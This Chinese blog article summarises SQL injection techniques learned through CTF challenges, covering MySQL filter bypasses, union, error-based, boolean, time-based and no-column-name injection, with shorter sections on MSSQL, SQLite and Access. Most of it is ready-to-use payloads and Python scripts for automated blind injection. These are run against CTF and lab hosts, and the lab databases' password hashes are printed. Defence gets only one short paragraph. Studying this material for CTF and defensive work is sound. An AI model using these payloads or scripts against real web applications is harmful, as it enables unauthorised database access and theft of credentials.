当前位置:   article > 正文

SQL注入总结_sql注入只有等号

sql注入只有等号

前言

因为SQL注入部分知识主要从CTF中学到,所以主要以MYSQL为主。

SQL注入原理

SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

SQL注入式攻击的主要形式有两种。

  • 一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。由于其直接与SQL语句捆绑,故也被称为直接注入式攻击法。
  • 二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意SQL语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“—”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。

常见主流数据库
在这里插入图片描述

Mysql

过滤绕过

0x01 空格

  • /**/或者/*1*/
  • +
  • ()
  • %0a %0b %0c %0d %A0(%A0 不会被php的\s进行匹配)
  • TAB(%09)
    在这里插入图片描述

有时候需要去试哪个能行,写个脚本批量替换空格即可

payload = "1'union select 1,2,password from ctfshow_user where username='flag'%23"
for i in ['0a', '0b', '0c', '0d', '09', 'a0']:
    res = payload.replace(" ", '%{0}'.format(i))
    print(res)
# 1'union%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
# 1'union%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername='flag'%23
# 1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
# 1'union%0dselect%0d1,2,password%0dfrom%0dctfshow_user%0dwhere%0dusername='flag'%23
# 1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
# 1'union%a0select%a01,2,password%a0from%a0ctfshow_user%a0where%a0username='flag'%23
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • id 与from在之间的空格绕过
    在这里插入图片描述



0x02 等号=

不加通配符的like执行的效果和=一致,所以可以用来绕过。

除此之外,还有inregexp,regexp等同于rlike

# =
select(group_concat(column_name))from(information_schema.columns)where(table_name)=(database())
# in
select(group_concat(column_name))from(information_schema.columns)where(table_name)in(database())
# like 
select(group_concat(column_name))from(information_schema.columns)where(table_name)like(database())
# regexp 与 rlike
select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(database())
select(group_concat(column_name))from(information_schema.columns)where(table_name)rlike(database())
select(group_concat(flag))from(users)where(flag)regexp("^f")
# between
select(group_concat(column_name))from(information_schema.columns)where(table_name)between(0x70)and(0x7a);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12



0x03 逗号

一、sql盲注时常用substr()函数,例如:

substr((database()),1,1)
  • 1

这时候可以改为

substr((database())from({})for(1))
  • 1

二、还可以使用join将参数连接起来

#正常爆数据库
mysql> select id,name from a where id=1 union select database(),22;
+------+------+
| id   | name |
+------+------+
| 1    | a    |
| 1    | 2    |
| cy   | 22   |
+------+------+
#不要逗号
mysql> select id,name from a where id=1 union select * from (select database())a join (select 22)b;
+------+------+
| id   | name |
+------+------+
| 1    | a    |
| 1    | 2    |
| cy   | 22   |
+------+------+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

三、limit逗号的绕过

select * from admin limit 0,2;
select * from admin limit 2 offset 0;
  • 1
  • 2

四、union注入

union select 1,2     #等价于
union select * from (select 1)a join (select 2)b
  • 1
  • 2

python脚本,num处修改字段数即可

def sql(payload="union select * from ((select 1)a", num=20):
    num += 1
    for i in range(2, num):
        a = chr(96+int(i))
        payload = payload + f" join (select {i}){a}"
    print(payload+")")

sql()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8



0x04 单引号

可以使用16进制的方法来绕过

select(group_concat(column_name))from(information_schema.columns)where(table_name)='web1'
select(group_concat(column_name))from(information_schema.columns)where(table_name)=(0x77656231)
  • 1
  • 2



0x05 注释符

注释符
#
–+
;%00在Mysql种%00也是注释符。但是前面必须得加;

过滤--的话还可以使用-or-




0x06 输出过滤

使用hex加密一下输出结果,例如username字段输出有flag,用hex加密一下username即可

' union select id,hex(username),password from ctfshow_user3 where username='flag'--+
  • 1

或者使用reverseto_base64等函数

' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+
  • 1

0x07 数字

可以用true代替,构造数字

mysql> select 2;
2
mysql> select true+true;
2
  • 1
  • 2
  • 3
  • 4

构造字符

mysql> select char(100);
d
mysql> select char(true+... + true + ...+true);
d
  • 1
  • 2
  • 3
  • 4



0x08 or

  • ||
  • oorr



0x09 ascii()

hex(),bin(),ord()

  • ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。
id=1^(ord(substr((user())from({})for(1)))>{})^1
  • 1
id=1^(ascii(substr((user())from({})for(1)))>{})^1
  • 1



0x10 substr()

可以使用left(str, length)

从左边length位截取字符串

select left(‘abcdefghijklmn’,8)

结果为:abcdefgh
  • 1
  • 2
  • 3
  • 4
  • 5

可以使用right(str,length)

使用方法同left
  • 1

可以使用mid(str,start,length)

截取字符串从start开始并截取length长度,相当于substr()
  • 1

还可以使用position(),instr(),locate()

#payload
#position("a" in "abcd")
admin' and if(position('{}' in (select f1ag from ctfshow_flxg))=1,1,power(9999,99))#

# locate("a","abcd")
admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#

# instr("abcd","a")
admin' and if(instr((select f1ag from ctfshow_flxg),'{}')=1,1,power(9999,99))#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

可以使用reverse()

如下例:

"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")),0x7e),1))#
  • 1

在这里插入图片描述

"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f"))),0x7e),1))#
  • 1

在这里插入图片描述

再倒叙一下
在这里插入图片描述





0x11 where

where

select name from a where substr(database(),1,1)='c';
  • 1

利用having

select name from a group by name having name like 'f%';
  • 1

利用join,只有select后是*的时候能用。

select * from a as b right join a as c on substr(c.name,1,1) = 'f';
select count(*) from a as b right join a as c on substr(c.name,1,1) = 'f';
  • 1
  • 2



0x12 sleep

当sleep函数被过滤,可以使用benchmark函数。他是指执行某函数的次数,次数多了照样实现sleep函数相同的时间延迟。

benchmark(100000,SHA1('1'))
#MD5
select BENCHMARK(10000000,MD5(@input)); 
#SHA1
select BENCHMARK(10000000,SHA1(@input)); 
  • 1
  • 2
  • 3
  • 4
  • 5



0x13 database(),version()

database/**/()
`version`()
  • 1
  • 2



0x14 information_schema

先用下面这些表查表名,然后进行无列名注入

schema_auto_increment_columns  #只有表自增的表才在里面,可能会漏掉一些
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer

sys.innodb_buffer_stats_by_schema
sys.innodb_buffer_stats_by_table
mysql.innodb_table_stats
sys.schema_tables_with_full_table_scans

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

示例:[GYCTF2020]Ezsqli

这道题过滤了or和in,所以用sys.x$schema_flattened_keys代替information_schema

payload:
id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),1,1))>1)^1
写个脚本爆表:

import requests
url = ' http://2f3ff071-8fc5-4d03-89ef-2d2952d50730.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 50):
    high = 127
    low = 32
    mid = (high+low)//2
    while high > low:

        # payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
        data = {
            "id": "1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),{},1))>{})^1".format(i,mid)
        }
        s = requests.post(url=url, data=data)
        # print(s.text)
        if 'Nu1L' in s.text:
            low = mid+1
            # high = mid
        else:
            high = mid
            # low = mid + 1
        mid = (high+low)//2
    print(mid)
    flag += chr(mid)
    print(flag)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

拿到表名:
在这里插入图片描述
无列名注入,这里是无列名盲注,不然简单一点:

id=1^((1,'g')>(select * from f1ag_1s_h3r3_hhhhh))^1
  • 1

脚本爆flag:
在这里插入图片描述




0x15 if

instr

这里可以直接用instr进行布尔盲注(应该是在select后面的地方才能用这个,select instr(username,"a") from table
instr: 指定子字符串或模式在原始字符串中的第一个位置

select instr("flag","f");	#1
select instr("flag","l");	#2
select instr("flag","a");	#3
select instr("flag","ag");	#3

poc:
user=\&pass=||instr((pass),binary(0x{}))#
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

查询字符串a,在列username的起始位置

SELECT INSTR(username, 'a') FROM t_user;
  • 1

图片.png
instr不区分大小写使用binary区分大小写

select ("aBc"="abc");
1
select ("aBc"=binary("abc"));
0
select ("aBc"=binary("aBc"));
1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

图片.png

  1. 是什么:binary 在SQL中是类型转换符,用来强制将其后的字符串转换为字节,即将字符串强制按字节进行比较而不是字符,临床表现为区分大小写。
  2. 为什么:MySQL 默认是不区分大小写的
  3. 怎么用:SELECT * FROM t_user u WHERE u.user_name = BINARY "teacherLX";或者 SELECT * FROM t_user u WHERE "teacherLX" = BINARY u.user_name;
  4. 注意:binary对字符串后的空格也是敏感的。

测试instr和binary,发现binary放在后面不起作用。

select instr(binary"abc","abc");
1
select instr(binary"abc","aBc");
0
  • 1
  • 2
  • 3
  • 4

case when

利用case when进行注入

1' and case when(1=1) then sleep(3) else 1 end#
  • 1

图片.png






注入方法

0x01 union注入

' union select 1,database()--+
' union select 1,concat(table_name) from information_schema.tables where table_schema=--+
  • 1
  • 2

1,查字段数
http://mozhe.cn/new_list.php?id=0 order by 5 时报错,说明字段有4个

2,查数据库
http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

3,查表
http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1

数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。

4,查字段
http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1

数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。

5,查类容
http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad

0x02 宽字节注入

在这里插入图片描述

宽字节注入原理:
  1,出于安全考虑,单引号' 会被转义为/'进入后台。
  2,%bf/'等于縗’,这样就成功将/号变为无效字符,从而正常使用单引号。(%bf=β


解题:

1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。
http://219.153.49.228:41108/new_list.php?id=-1%df

在这里插入图片描述
报错正常,开始注入。

2,确定字段数
http://219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+

order by 6 时报错,字段数为5。
在这里插入图片描述

3,找到回显点,回显点为5和3。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+
在这里插入图片描述
4,爆数据库。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+
在这里插入图片描述

5,爆表,因为引号被转义,库名,表名使用16进制。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+
在这里插入图片描述
6,爆字段。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+
在这里插入图片描述
7,爆字段类容。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,status) from mozhe_discuz_stormgroup.stormgroup_member --+

在这里插入图片描述
8,md5解密,登录。
在这里插入图片描述

0x03 时间盲注

一、脚本中的head与tail为什么取值为32和127
在这里插入图片描述

ascii表中可见字符范围为32(空格)到126(~),如下所示
在这里插入图片描述
… …
在这里插入图片描述二、时间盲注基础语句IF

IF 表达式

IF( expr1 , expr2 , expr3 )
  • 1

expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为FALSE,则返回值为 expr3

例如

select if(true,1,0);
->1
select if(false,1,0);
->0
  • 1
  • 2
  • 3
  • 4

三、构造payload

select name from a limit 0,1;
->qaq
  • 1
  • 2

使用substr截取第一位

select substr((select name from a limit 0,1),1,1);
  • 1

使用if判断,第一位为q,所以第一条语句返回1,第二条语句返回0

select if(substr((select name from a limit 0,1),1,1)='q',1,0);
->1
select if(substr((select name from a limit 0,1),1,1)='b',1,0);
->0
  • 1
  • 2
  • 3
  • 4

因为是盲注没有回显,所以我们要把1变为sleep(x),如果正确的话就会延迟x秒返回结果,错误则马上返回结果。

select if(substr((select name from a limit 0,1),1,1)='q',sleep(3),0);
  • 1

四、写脚本

二分法脚本如下(GET型)

import requests
url = "http://xxx.com/1.php"
result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127
    while tail > head:
        mid = (head + tail) // 2    # //向下取整即7.5取7,/为浮点数表示法
        payload = "?id=1' and if(ascii(substr((这里填入要执行的SQL语句),{0},1))>{1},sleep(2),0) -- -".format(i, mid)
        try:
            r = requests.get(url+payload, timeout=0.5)     # 如果0.5秒内返回结果,目标的ascii值小于等于mid,tail移动至中部,对于响应比较慢的网站,timeout应该设置大一点
            tail = mid
        except Exception as e:      # 0.5秒内未返回结果,目标ascii大于中间值,head移动至中部,因为是大于,所以还要加1
            head = mid+1
    if head == 32:        # 如果这一位为空就会出现结束之后head等于32的情况,break退出
        break
    result += chr(head)     # 这里只能为head或者tail而不能为mid,因为mid可能会少一
    print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21



0x04 无列名注入

详细的过程:

mysql> select * from Course;
  • 1

在这里插入图片描述

mysql> select 1,2,3,4 union select * from Course;
  • 1

在这里插入图片描述

mysql> select `1` from (select 1,2,3,4 union select * from Course)a;
  • 1

在这里插入图片描述
过滤反斜杠的话

select a from (select 1 as a,2,3,4 union select * from Course)a;
  • 1

小例子:

表test
在这里插入图片描述

无列名查询address字段:
在这里插入图片描述





无列名盲注:

典型题目:[GYCTF2020]Ezsqli
在这里插入图片描述
先判断列数:
在这里插入图片描述

这里有4列,select 1,2,3,4即不会报错,刚好与select * from shitu3的4个列对应。

然后判断字段内容:

只能一位一位爆破,原理:
在这里插入图片描述
一位一位的比较,f不大于flag的第一位f,所以返回0,g大于flag的第一位f,所以返回1,依次类推。

最后能爆破出gmbh字符串,依次上移一位即可得到flag
在这里插入图片描述

然后爆破shitu3的pass字段,如下:
在这里插入图片描述
select (select 1,'a',3,4)>(select *from shitu3); 报错
select (select 1,'b',3,4)>(select *from shitu3); 报错
… 报错
select (select 1,'f',3,4)>(select *from shitu3);正确
由此判断第一位为e
select (select 1,'fa',3,4)>(select *from shitu3); 报错
select (select 1,'fb',3,4)>(select *from shitu3); 报错
… 报错
select (select 1,'fi',3,4)>(select *from shitu3);正确
由此判断第二位为r

用脚本爆破即可。
在这里插入图片描述
通过Join无列名注入

约束条件

1.在知到表名的前提下才能操作

2.并且得有回显,如果没回显的话我们没有办法将错误信息给select出来

注入语句

andselect * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c)
  • 1

例如现在我们要爆Course表的列名,并且我们只知道它的表名
在这里插入图片描述
首先爆第一个列名

mysql> select * from (select *from Course a join Course b)c;
ERROR 1060 (42S21): Duplicate column name 'Cno'
  • 1
  • 2

然后加上using爆下一个列名

mysql> select * from (select *from Course a join Course b using(Cno))c;
ERROR 1060 (42S21): Duplicate column name 'Cname'

mysql> select * from (select *from Course a join Course b using(Cno,Cname))c;
ERROR 1060 (42S21): Duplicate column name 'Cpno'

mysql> select * from (select *from Course a join Course b using(Cno,Cname,Cpno))c;
ERROR 1060 (42S21): Duplicate column name 'Ccredit'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

至此,所有列名都爆出来了

赛题举例:ciscn2021 easy_sql

select * from (select * from users a join users b )c;
  • 1
admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b )c
),'~'),1)--+
  • 1
  • 2

在这里插入图片描述

admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b using(id))c ),'~'),1)--+
在这里插入图片描述
admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b using(id,no))c ),'~'),1)--+
在这里插入图片描述
读取字段内容,数字要加反斜杠

admin') and updatexml(1,concat('~',(select `35f37fd6-0f87-4294-b2f0-788044d6d2f3` from flag),'~'),1)--+
  • 1

在这里插入图片描述
读取另外一半flag

admin') and updatexml(1,concat('~',reverse((select `35f37fd6-0f87-4294-b2f0-788044d6d2f3` from flag)),'~'),1)--+
  • 1

在这里插入图片描述
python倒序一下

>>> str="}-YH8cS-NWgW2-UbX6G-Ic7dR-r5FyE"
>>> str=str[::-1]
>>> str
'EyF5r-Rd7cI-G6XbU-2WgWN-Sc8HY-}'
  • 1
  • 2
  • 3
  • 4

0x05 报错注入

在这里插入图片描述

updatexml

学习基于extractvalue()和updatexml()的报错注入

使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)

其中:aaa和bbb随便输入什么东西
回显:error:‘bbb 查询的SQL结果 bbb’

例:updatexml(1,concat('~',(select database()),'~'),1) or updatexml(0,concat(0x7e,(select user()),0x7e),0)——>无单引号
在这里插入图片描述



姿势:

'/*'-updatexml(1,if(mid(user(),1,1)='b','~',1),1)-'*/'
  • 1

解题:

1,?id=1'
报错。

2,?id=1' --+
正常,存在注入。

3,根据题目提示使用updatexml()进行报错注入。
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库stormgroup。

4,爆表:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+
在这里插入图片描述
爆出表:member

5,爆字段:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+
在这里插入图片描述
6,同上,爆出其他字段。
name,password,status

7,爆字段类容。
?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',password) from stormgroup.member limit 0,1),0x7e),1)--+
在这里插入图片描述

8,同上,爆出所有账号,密码。
mozhe-3114b433dece9180717f2b7de
mozhe-773243a831d361bcdb225f0dd

9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。
?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',substr(password,26)) from stormgroup.member limit 0,1),0x7e),1)--+
在这里插入图片描述
得到密码:3114b433dece9180717f2b7de56b28a3
和:3783d53ee620b2901c8eaae3b56b28a3

10,md5解密登录得到flag。

exp报错注入

exp(x)

此函数返回e(自然对数的底)到X次方的值。简单来说就是e的x次方(MySQL≥5.5.5)

select exp(0);
->1
select exp(1);
->2.718281828459045
  • 1
  • 2
  • 3
  • 4

当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

select exp(710);
->ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
  • 1
  • 2

将0按位取反就会返回18446744073709551615

select ~0;
->18446744073709551615 
  • 1
  • 2

函数成功执行后返回0,将成功执行的函数取反就会得到18446744073709551615的无符号BIGINT值。

select ~(select version());
->18446744073709551615
  • 1
  • 2

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

select exp(~(select*from(select user())x));
->ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
  • 1
  • 2

其他12种报错注入方法

参考: [CTF知识] sql注入12个报错方式

1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35



0x06 报错函数

报错的函数可以配合盲注,例如

if(1=1,1,<报错函数>)
  • 1

如果前面的表达式正确的话就输出1,即不报错,错误则运行报错函数,通过页面的回显来进行注入

  • power() 函数

当字符相等时,不报错,错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))
  • 1
  • 2
  • rlike报错注入
select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))
  • 1
  • 2

姿势:

product_show.php?id=101 RLIKE (SELECT (CASE WHEN ({}) THEN 1 ELSE 0x28 END))
  • 1

0x07 布尔注入

# 判断是否存在注入
?id=1' and 1=2-- -   #页面显示异常
?id=1' and 1=1-- -   #页面正常显示

# 判断是否有回显
?id=1' and updatexml(1,0x7e,1)--+-

# 判断数据库长度,也可以忽略这步
?id=1' and length(database())=8-- -
# 判断mysql中数据库的数量
?id=1' and (select count(*) from information_schema.schemata)=1 -- -

# 爆字段内容
and ascii(substr(database(),1,1))=8
。。。。
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

姿势

# 常规ascii+substr
admin' and if(ascii(substr(database(),1,1)),1,2)='1
admin' and if(ascii(substr(database(),1,1)),1,2)='1'#
admin' and if(ascii(substr(database(),1,1)),1,power(9999,99))#

# regexp
admin' and if(substr(database(),1,1) = 'a',1,2)='1'#
admin' and if(substr(database(),1,1)regexp('a'),1,2)='1'#
admin' and if(load_file('/var/www/html/api/index.php')regexp('{}'),1,2)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

一些注入姿势

1,单引号闭合最后的引号

题目:萌新赛web_萌新记忆

'||'a'<'b

这道题输入一个单引号,报错如下:

u=admin'&p=dsa
  • 1

在这里插入图片描述
因为过滤了#和–+,所以只能构造'||'a'<'b这种结果来闭合后面的单引号。

payload:
(判断字段长度):'||length(p)<'100
(猜解字段):'||substr(p,1,1)<'a
脚本如下:

import requests
url='https://8b2472d3-6e32-4ac6-b4b5-6134f3aeb7c8.chall.ctf.show/admin/checklogin.php'
s= '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
for i in range(1,18):
        print('*')
        for j in s:
            data={"u":"'||substr(p,"+str(i)+",1)<'"+j,
                          "p":"1"
                }
            r=requests.post(url,data=data)
            #print(r.text)
            if "密码错误" == r.text:
                flag+=chr(ord(j)-1)
                print(flag)
                break
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

2, 注入姿势 0’ or 1 or '0

例题:[RoarCTF 2019]Online Proxy

在这里插入图片描述





Mssql(sql server)

在这里插入图片描述

https://blog.csdn.net/qq_42357070/article/details/81239721

正常判断是否有SQL注入

id=2 and 1=1
id=2 and 1=2
  • 1
  • 2

判断列数,5报错列数为4

?id=2 order by 1
...
?id=2 order by 5
  • 1
  • 2
  • 3

检测回显点

union all select null,1,null,null
  • 1

联合注入,这里的3是字符串类型。因为UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。

?id=2 and 1=2  union all  select 1,2,'3',4
  • 1

在这里插入图片描述开始爆数据

数据库,mozhe_db_v2
?id=2 and 1=2  union all  select 1,db_name(),'3',4
  • 1
  • 2

爆表,manage

?id=2 and 1=2  union all  select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
  • 1

mmsql记录敏感信息的表在sysobjects 中,当xtype=‘U’ 代表是用户建立的表。

爆字段

?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
  • 1
  • 2
  • 3

object():数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():可以根据id值得到对像的名称,而且可以返回指定下标的结果.

爆字段内容

union all select 1,(select top 1 username from manage),'3',4
union all select 1,(select top 1 password from manage),'3',4

?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

Oracle

sqlite

在这里插入图片描述基本流程

# 判断列数
1 order by 1
...
1 order by 4

# 判断回显
1 union select 1,2,3,4

# SQLite 存在一个表sqlite_master ,里面的字段:type/name/tbl_name/rootpage/sql记录着用户创建表的信息
1 union select 1,name,sql,4 from sqlite_master

# 爆字段内容
1 union select 1,name,password,4 from WSTMart_reg
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

例题:Hack.lu CTF 2017: FlatScience

sqlite注入可以参考sqlite注入的一点总结

order by爆字段数

admin' order by 1--+
admin' order by 2--+
admin' order by 3--+
  • 1
  • 2
  • 3

在这里插入图片描述

判断回显位置

admin' union select 1,2 --+
  • 1

在这里插入图片描述

查询版本信息

admin' union select 1,sqlite_version() --+
  • 1

在这里插入图片描述

查询表名以及字段名

admin' union select 1,sql from sqlite_master where type='table' --+
  • 1

在这里插入图片描述
url解码

在这里插入图片描述

查询name字段

0' union select password,name from Users limit 0,1--+
0' union select password,name from Users limit 1,1--+
0' union select password,name from Users limit 2,1--+
  • 1
  • 2
  • 3

在这里插入图片描述查询password字段

0' union select password,password from Users limit 0,1--+
0' union select password,password from Users limit 1,1--+
0' union select password,password from Users limit 2,1--+
  • 1
  • 2
  • 3

在这里插入图片描述

最后爆出如下数据
name password hint
admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!
fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is…?
hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password

剩下部分和SQL注入无关就不写了

Access

在这里插入图片描述

access数据库没有索引语句只能猜解。

判断数据库方法:

and (select count(*) from msysobjects)>0(返回权限不足 access数据库)

and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)

SQL实战注入思路总结

SQL实战注入思路总结

SQL注入防御

预编译

原理:使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分也执行,是在数据库完成sql指令的编译后才套用参数运行。

简单的说:参数化能肪防注入的原因在于语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑。

waf绕过

WAF机制及绕过方法总结:注入篇

后记

几个比较详细的博客。

https://websec.ca/kb/sql_injection#

https://www.k0rz3n.com/2017/11/21/mysqltrick/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/584806
推荐阅读
相关标签
  

闽ICP备14008679号